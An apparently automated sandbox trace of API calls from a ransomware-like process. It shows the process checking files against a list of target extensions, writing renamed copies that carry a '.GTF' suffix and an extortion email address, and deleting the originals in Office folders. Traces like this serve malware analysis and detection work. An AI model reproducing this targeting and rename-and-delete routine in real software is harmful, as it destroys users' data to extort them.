	[0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.194] lstrlenW (lpString=".zip") returned 4
	[0184.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.194] lstrlenW (lpString=".rar") returned 4
	[0184.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.194] lstrlenW (lpString=".bz2") returned 4
	[0184.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.194] lstrlenW (lpString=".7z") returned 3
	[0184.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.194] lstrlenW (lpString=".dbf") returned 4
	[0184.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.194] lstrlenW (lpString=".1cd") returned 4
	[0184.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.194] lstrlenW (lpString=".jpg") returned 4
	[0184.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.194] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.194] lstrlenW (lpString="J0187825.WMF") returned 12
	[0184.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0184.195] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=7500) returned 1
	[0184.195] CloseHandle (hObject=0x3d0) returned 1
	[0184.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf")) returned 0x220
	[0184.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0184.196] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.196] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0184.197] GetLastError () returned 0x0
	[0184.197] ReadFile (in: hFile=0x3d0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1d4c, lpOverlapped=0x0) returned 1
	[0184.198] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1d50, lpOverlapped=0x0) returned 1
	[0184.199] ReadFile (in: hFile=0x3d0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.199] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.200] SetEndOfFile (hFile=0x42c) returned 1
	[0184.200] CloseHandle (hObject=0x42c) returned 1
	[0184.200] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.200] SetEndOfFile (hFile=0x3d0) returned 1
	[0184.202] CloseHandle (hObject=0x3d0) returned 1
	[0184.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187825.wmf")) returned 1
	[0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.204] lstrlenW (lpString=".doc") returned 4
	[0184.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.204] lstrlenW (lpString=".docx") returned 5
	[0184.204] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0184.204] lstrlenW (lpString=".pdf") returned 4
	[0184.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.204] lstrlenW (lpString=".xls") returned 4
	[0184.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.204] lstrlenW (lpString=".xlsx") returned 5
	[0184.204] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0184.204] lstrlenW (lpString=".ppt") returned 4
	[0184.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.204] lstrlenW (lpString=".zip") returned 4
	[0184.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.204] lstrlenW (lpString=".rar") returned 4
	[0184.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.204] lstrlenW (lpString=".bz2") returned 4
	[0184.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.204] lstrlenW (lpString=".7z") returned 3
	[0184.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.204] lstrlenW (lpString=".dbf") returned 4
	[0184.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.205] lstrlenW (lpString=".1cd") returned 4
	[0184.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.205] lstrlenW (lpString=".jpg") returned 4
	[0184.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.205] lstrlenW (lpString=".doc") returned 4
	[0184.205] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString=".docx") returned 5
	[0184.205] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0184.205] lstrlenW (lpString=".pdf") returned 4
	[0184.205] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString=".xls") returned 4
	[0184.205] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.205] lstrlenW (lpString=".xlsx") returned 5
	[0184.205] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0184.205] lstrlenW (lpString=".ppt") returned 4
	[0184.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.205] lstrlenW (lpString=".zip") returned 4
	[0184.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.205] lstrlenW (lpString=".rar") returned 4
	[0184.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString=".bz2") returned 4
	[0184.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString=".7z") returned 3
	[0184.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.205] lstrlenW (lpString=".dbf") returned 4
	[0184.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.205] lstrlenW (lpString=".1cd") returned 4
	[0184.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187825.WMF") returned 68
	[0184.206] lstrlenW (lpString=".jpg") returned 4
	[0184.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.206] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.206] lstrlenW (lpString="J0187829.WMF") returned 12
	[0184.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0184.207] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=12352) returned 1
	[0184.207] CloseHandle (hObject=0x3d0) returned 1
	[0184.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 0x220
	[0184.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0184.207] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.207] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0184.208] GetLastError () returned 0x0
	[0184.208] ReadFile (in: hFile=0x3d0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3040, lpOverlapped=0x0) returned 1
	[0184.458] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x3050, lpOverlapped=0x0) returned 1
	[0184.459] ReadFile (in: hFile=0x3d0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.459] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.459] SetEndOfFile (hFile=0x42c) returned 1
	[0184.459] CloseHandle (hObject=0x42c) returned 1
	[0184.460] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.460] SetEndOfFile (hFile=0x3d0) returned 1
	[0184.462] CloseHandle (hObject=0x3d0) returned 1
	[0184.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 1
	[0184.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.855] lstrlenW (lpString=".doc") returned 4
	[0184.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.855] lstrlenW (lpString=".docx") returned 5
	[0184.855] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.855] lstrlenW (lpString=".pdf") returned 4
	[0184.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.855] lstrlenW (lpString=".xls") returned 4
	[0184.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.855] lstrlenW (lpString=".xlsx") returned 5
	[0184.855] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.855] lstrlenW (lpString=".ppt") returned 4
	[0184.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.855] lstrlenW (lpString=".zip") returned 4
	[0184.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.855] lstrlenW (lpString=".rar") returned 4
	[0184.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.855] lstrlenW (lpString=".bz2") returned 4
	[0184.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.855] lstrlenW (lpString=".7z") returned 3
	[0184.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.856] lstrlenW (lpString=".dbf") returned 4
	[0184.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.856] lstrlenW (lpString=".1cd") returned 4
	[0184.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.856] lstrlenW (lpString=".jpg") returned 4
	[0184.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.856] lstrlenW (lpString=".doc") returned 4
	[0184.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString=".docx") returned 5
	[0184.856] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.856] lstrlenW (lpString=".pdf") returned 4
	[0184.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString=".xls") returned 4
	[0184.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.856] lstrlenW (lpString=".xlsx") returned 5
	[0184.856] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.856] lstrlenW (lpString=".ppt") returned 4
	[0184.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.856] lstrlenW (lpString=".zip") returned 4
	[0184.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.856] lstrlenW (lpString=".rar") returned 4
	[0184.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString=".bz2") returned 4
	[0184.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString=".7z") returned 3
	[0184.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.856] lstrlenW (lpString=".dbf") returned 4
	[0184.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.856] lstrlenW (lpString=".1cd") returned 4
	[0184.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68
	[0184.857] lstrlenW (lpString=".jpg") returned 4
	[0184.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.857] lstrlenW (lpString=".id-") returned 4
	[0184.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625878 | out: hHeap=0x5a0000) returned 1
	[0184.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622a48 | out: hHeap=0x5a0000) returned 1
	[0184.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a20758 | out: hHeap=0x5a0000) returned 1
	[0184.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3a30760 | out: hHeap=0x5a0000) returned 1
	[0184.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd4020 | out: hHeap=0x5a0000) returned 1
	[0184.862] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6257a0 | out: hHeap=0x5a0000) returned 1
	[0184.862] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x41bc978
	[0184.862] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41bc978, Size=0x20) returned 0x41c0728
	[0184.862] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x41bc978
	[0184.862] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41bc978, Size=0x20) returned 0x41c0818
	[0184.862] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0184.862] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0184.862] Wow64DisableWow64FsRedirection (in: OldValue=0x338ff50 | out: OldValue=0x338ff50*=0x1) returned 1
	[0184.862] lstrlenW (lpString="kernel32.dll") returned 12
	[0184.862] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41c0818 | out: hHeap=0x5a0000) returned 1
	[0184.862] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0184.862] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41c0728 | out: hHeap=0x5a0000) returned 1

Thread:
	id = 46
	os_tid = 0xe1c

	[0152.796] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3a40768
	[0152.797] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3a50770
	[0152.797] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6256e0
	[0152.797] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622b18
	[0152.797] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625938
	[0152.797] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3ee0020
	[0152.801] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6258d8
	[0152.801] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6258d8, Size=0x20) returned 0x5ddfc0
	[0152.801] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6258a8
	[0152.801] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6258a8, Size=0x20) returned 0x5ddfe8
	[0152.801] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.801] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.801] Wow64DisableWow64FsRedirection (in: OldValue=0x34cff50 | out: OldValue=0x34cff50*=0x0) returned 1
	[0152.801] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfc0 | out: hHeap=0x5a0000) returned 1
	[0152.801] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfe8 | out: hHeap=0x5a0000) returned 1
	[0152.801] Sleep (dwMilliseconds=0x64) 
	[0153.123] Sleep (dwMilliseconds=0x64) 
	[0153.335] Sleep (dwMilliseconds=0x64) 
	[0153.652] Sleep (dwMilliseconds=0x64) 
	[0154.013] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0154.013] lstrlenW (lpString="correct.avi") returned 11
	[0154.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0154.028] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=180172) returned 1
	[0154.028] CloseHandle (hObject=0x3d8) returned 1
	[0154.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0154.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.037] lstrlenW (lpString=".doc") returned 4
	[0154.037] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0154.037] lstrlenW (lpString=".docx") returned 5
	[0154.037] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0154.037] lstrlenW (lpString=".pdf") returned 4
	[0154.037] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0154.037] lstrlenW (lpString=".xls") returned 4
	[0154.037] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0154.037] lstrlenW (lpString=".xlsx") returned 5
	[0154.039] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0154.039] lstrlenW (lpString=".ppt") returned 4
	[0154.039] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0154.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.039] lstrlenW (lpString=".zip") returned 4
	[0154.039] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0154.039] lstrlenW (lpString=".rar") returned 4
	[0154.040] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString=".bz2") returned 4
	[0154.040] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString=".7z") returned 3
	[0154.040] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0154.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.040] lstrlenW (lpString=".dbf") returned 4
	[0154.040] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0154.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.040] lstrlenW (lpString=".1cd") returned 4
	[0154.040] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0154.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0154.040] lstrlenW (lpString=".jpg") returned 4
